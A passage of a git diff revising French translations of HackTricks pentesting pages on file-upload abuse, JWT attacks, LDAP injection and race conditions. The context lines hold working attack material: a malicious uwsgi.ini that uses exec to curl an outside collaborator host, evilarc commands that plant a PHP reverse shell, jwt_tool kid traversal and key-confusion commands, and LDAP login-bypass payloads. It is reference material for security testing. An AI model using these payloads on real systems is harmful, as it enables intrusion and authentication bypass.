cette vulnérabilité, consultez la recherch Les vulnérabilités d'exécution de commandes à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(nom du fichier)`, est conçu pour inclure le contenu d'un fichier. Parmi les divers schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité. -Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, présentant divers schémas : +Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, illustrant divers schémas : ```ini [uwsgi] ; read from a symbol @@ -143,9 +143,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque de déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications. +L'exécution de la charge utile se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit être redémarré (potentiellement après un crash ou en raison d'une attaque par déni de service) ou le fichier doit être configuré pour un rechargement automatique. La fonction de rechargement automatique, si activée, recharge le fichier à des intervalles spécifiés lors de la détection de modifications. -Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration de uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée potentielle de l'exploitation. +Il est crucial de comprendre la nature laxiste de l'analyse du fichier de configuration d'uWSGI. Plus précisément, la charge utile discutée peut être insérée dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des exploitations potentielles. ## **Astuce de téléchargement de fichier/SSRF avec wget** @@ -193,8 +193,8 @@ Notez que **une autre option** à laquelle vous pourriez penser pour contourner * [Vulnérabilité **ImageTrick** célèbre](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * Si vous pouvez **indiquer au serveur web de récupérer une image à partir d'une URL**, vous pourriez essayer d'exploiter un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL depuis [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations sur chaque visiteur**. * [**Contournement XXE et CORS** avec le téléchargement de fichiers PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -* PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données. -* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus** +* PDFs spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer des PDF qui exécuteront du JS arbitraire en suivant les indications données. +* Téléchargez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur a un **antivirus** * Vérifiez s'il y a une **limite de taille** pour le téléchargement de fichiers Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (à partir de [ici](https://twitter.com/SalahHasoneh1/status/1281274120395685889)) : @@ -244,7 +244,7 @@ python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -De plus, le **truc du lien symbolique avec evilarc** est une option. Si l'objectif est de cibler un fichier tel que `/flag.txt`, un lien symbolique vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs pendant son fonctionnement. +De plus, l'**astuce du lien symbolique avec evilarc** est une option. Si l'objectif est de cibler un fichier tel que `/flag.txt`, un lien symbolique vers ce fichier doit être créé dans votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs pendant son fonctionnement. Voici un exemple de code Python utilisé pour créer un fichier zip malveillant : ```python @@ -268,7 +268,7 @@ create_zip() Pour plus de détails, **consultez le message original sur**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Création d'un Shell PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`. +1. **Création d'une coquille PHP**: Le code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`. ```php
+
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). @@ -342,7 +342,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 5077c5a99..240e39344 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -2,7 +2,7 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : @@ -14,13 +14,13 @@ Autres façons de soutenir HackTricks :
-
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} -**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ +**Une partie de ce post est basée sur le superbe post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Gains Rapides** @@ -41,15 +41,15 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` ### Manipuler les données sans rien modifier -Vous pouvez simplement manipuler les données en laissant la signature intacte et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple. +Vous pouvez simplement manipuler les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre nom d'utilisateur en "admin". #### **Le jeton est-il vérifié?** Pour vérifier si la signature d'un JWT est vérifiée : * Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés. -* Un changement dans la page renvoyée indique une vérification. -* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en manipulant les revendications de la charge utile. +* Un changement dans la page renvoyée indique également une vérification. +* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile. ### Origine @@ -62,7 +62,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement. -### Brute-force du secret HMAC +### Force brute du secret HMAC [**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt) @@ -70,7 +70,7 @@ Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il Définissez l'algorithme utilisé comme "None" et supprimez la partie signature. -Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None"). +Utilisez l'extension Burp appelée "JSON Web Token" pour tester cette vulnérabilité et modifier différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token" vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None"). ### Changer l'algorithme de RS256(asymétrique) à HS256(symétrique) (CVE-2016-5431/CVE-2016-10555) @@ -79,7 +79,7 @@ L'algorithme RS256 utilise la clé privée pour signer le message et utilise la Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature. -Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci : +Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web exécutant ceci : ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -93,12 +93,12 @@ Cela peut être fait avec l'extension Burp "JSON Web Tokens".\ ### Contrefaçon de JWKS -Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (Jeu de clés Web JSON) contenant la clé publique nécessaire à la vérification du jeton. +Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton. * **Évaluation des jetons avec l'en-tête "jku"**: * Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié. * Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic. -* **Surveillance des interactions HTTP**: +* **Surveillance de l'interaction HTTP**: * Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir du lien fourni. * Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests. * **Commande pour `jwt_tool`**: @@ -122,7 +122,7 @@ La revendication `kid` peut également être exploitée pour naviguer à travers ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération de JWT. +En ciblant des fichiers avec un contenu prévisible, il est possible de falsifier un JWT valide. Par exemple, le fichier `/proc/sys/kernel/randomize_va_space` dans les systèmes Linux, connu pour contenir la valeur **2**, peut être utilisé dans le paramètre `kid` avec **2** comme mot de passe symétrique pour la génération du JWT. #### Injection SQL via "kid" @@ -143,7 +143,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan #### jku jku signifie **URL de jeu de clés JWK**.\ -Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web pour lequel vous pouvez surveiller le trafic. +Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic. Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques. ```bash @@ -164,7 +164,7 @@ print("e:", hex(key.e)) ``` #### x5u -X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. La sécurité du transport est requise pour transférer les certificats. +X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. Une sécurité de transport est requise pour transférer les certificats. Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**. @@ -173,7 +173,7 @@ Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous, openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` -Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**. +Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.** ![](<../.gitbook/assets/image (439).png>) @@ -206,7 +206,7 @@ const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` -Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature : +Il est possible de générer une nouvelle clé privée/publique, incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature : ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt @@ -237,11 +237,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000 Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté. -* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale. +* Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce, car cela pourrait entrer dans une zone grise légale. **Vérification de l'expiration des jetons** -L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouement JWT en utilisant la revendication "exp" pour définir une heure d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool. +L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejouer JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool. * Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer. @@ -264,7 +264,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 2adaf7469..c86e7531c 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -8,17 +8,17 @@ Autres façons de soutenir HackTricks : -- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} @@ -32,7 +32,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut potentiellement entraîner un accès non autorisé ou une manipulation de données. +**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation des données. {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} @@ -74,7 +74,7 @@ Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celu ### Contournement de connexion -LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il est peut-être haché. +LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, peu importe ce que vous insérez dans le mot de passe, il peut être haché. ```bash user=* password=* @@ -137,7 +137,7 @@ password=any ### Injection LDAP Aveugle -Vous pouvez forcer de fausses réponses ou vraies pour vérifier si des données sont renvoyées et confirmer une possible Injection LDAP Aveugle: +Vous pouvez forcer de fausses ou vraies réponses pour vérifier si des données sont renvoyées et confirmer une possible Injection LDAP Aveugle: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -162,8 +162,6 @@ Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles : (&(sn=administrator)(password=MB*)) : KO ... ``` -### Scripts - #### **Découvrir les champs LDAP valides** Les objets LDAP **contiennent par défaut plusieurs attributs** qui pourraient être utilisés pour **sauvegarder des informations**. Vous pouvez essayer de **forcer tous ces attributs pour extraire ces informations**. Vous pouvez trouver une liste des [**attributs LDAP par défaut ici**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt). @@ -217,7 +215,7 @@ break ``` ### Google Dorks -### Astuces Google +### Dorks Google ```bash intitle:"phpLDAPadmin" inurl:cmd.php ``` @@ -225,21 +223,21 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/race-condition.md b/pentesting-web/race-condition.md index 3b7fc5d8d..377030a9f 100644 --- a/pentesting-web/race-condition.md +++ b/pentesting-web/race-condition.md @@ -4,7 +4,7 @@ \ Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\ -Accédez dès aujourd'hui à : +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,12 +12,12 @@ Accédez dès aujourd'hui à : Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -D'autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -34,20 +34,21 @@ Voici quelques techniques pour synchroniser les requêtes : #### Attaque en un seul paquet HTTP/2 vs Synchronisation du dernier octet HTTP/1.1 -- **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course. -- **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur. +* **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course. +* **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur. La **préparation à la synchronisation du dernier octet** implique : -1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux. -2. Mettre en pause pendant 100 ms après l'envoi initial. -3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales. -4. Faire un ping pour chauffer la connexion. + +1. Envoi des en-têtes et des données du corps moins le dernier octet sans terminer le flux. +2. Pause de 100 ms après l'envoi initial. +3. Désactivation de TCP\_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales. +4. Ping pour réchauffer la connexion. L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC. ### Adaptation à l'architecture du serveur -Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur préventif, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes. +Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant la synchronisation. Le réchauffement préventif de 